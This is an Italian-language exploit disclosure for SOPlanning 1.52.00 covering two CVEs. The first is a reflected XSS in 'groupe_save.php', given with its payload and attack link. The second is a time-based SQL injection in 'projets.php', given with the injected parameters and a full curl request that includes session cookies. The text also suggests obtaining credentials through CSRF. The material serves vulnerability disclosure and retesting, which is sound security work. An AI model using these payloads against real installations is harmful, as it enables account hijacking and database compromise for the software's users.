
SOPlanning 1.52.00 CSRF/SQLi/XSS (CVE-2024-33722, CVE-2024-33724)
Titolo dell'exploit: SOPlanning v1.52.00 'groupe_save.php' XSS (XSS riflesso)
Applicazione: SOPlanning
Versione: 1.52.00
Data: 4/22/24
Autore dell'exploit: Joseph McPeters (Liquidsky)
Homepage del fornitore: https://www.soplanning.org/en/
Link del software: https://sourceforge.net/projects/soplanning/
Testato su: Linux
CVE: CVE-2024-33724
Exploit: https://github.com/fuzzlove/soplanning-1.52-exploits/blob/main/soplanning-XSS-README.txt
Descrizione: SOPlanning v1.52.00 è vulnerabile a XSS tramite i parametri 'groupe_id'; un attaccante remoto non autenticato può dirottare l'account amministratore o altri utenti. L'attaccante remoto può intercettare la sessione o le credenziali di un utente e compromettere l'intera piattaforma.
Esempio di payload: "><!--
Link XSS riflesso: /soplanning/www/process/groupe_save.php?saved=1&groupe_id="><!--&nom=Project+New
Analisi: la pagina di destinazione prende in considerazione il parametro di input dell'utente e poi reindirizza a una pagina in cui viene mostrata la XSS; il payload incluso nell'exploit esce dalla variabile in cui è contenuto e commenta il resto, eseguendo così un attacco XSS riflesso valido contro qualsiasi utente autenticato, incluso l'amministratore.
Titolo dell'exploit: SOPlanning v1.52.00 'projets.php' SQLi
Applicazione: SOPlanning
Versione: 1.52.00
Data: 4/22/24
Autore dell'exploit: Joseph McPeters (Liquidsky aka fuzzlove)
Homepage del fornitore: https://www.soplanning.org/en/
Link del software: https://sourceforge.net/projects/soplanning/
Testato su: Linux
CVE: CVE-2024-33722
Exploit: https://github.com/fuzzlove/soplanning-1.52-exploits/blob/main/soplanning-sqli-README.txt
Descrizione: SOPlanning v1.52.00 è vulnerabile a SQL Injection autenticata tramite la pagina 'projects.php'.
Istruzioni: autenticarsi all'host; le credenziali possono essere ottenute tramite un exploit CSRF (maggiori informazioni incluse). Una volta ottenute credenziali valide, utilizzare una richiesta GET/POST per inviare i parametri validi che consentono una SQLi valida.
Parametri di richiesta vulnerabili per la richiesta a "/www/projets.php":
filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=test
I parametri sopra indicati possono essere inviati come richiesta GET/POST valida per attivare la SQLi.
Esempio di richiesta curl per ritestare la SQLi:
curl -i -s -k -X $'POST'
-H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 130' -H $'Origin: http://127.0.0.1' -H $'Connection: close' -H $'Referer: http://127.0.0.1/soplanning/www/projets.php' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1'
-b $'dateDebut=23/04/2024; dateFin=23/06/2024; xposMoisWin=0; xposJoursWin=0; yposMoisWin=0; yposJoursWin=0; yposProjets=33; PHPSESSID=ovpbclvbc87uh7anfbq2luf9bi; soplanningplanning_=hhrtf0rgs562vm8rhn5i641481; baseLigne=users; baseColonne=jours; afficherTableauRecap=1; masquerLigneVide=0; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D'
--data-binary $'filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=test'
$'http://127.0.0.1/soplanning/www/projets.php'
Nota: i cookie devono essere autenticati e la richiesta deve essere valida per una SQLi valida. Questa richiesta curl può essere usata con un proxy per ricostruire una richiesta valida.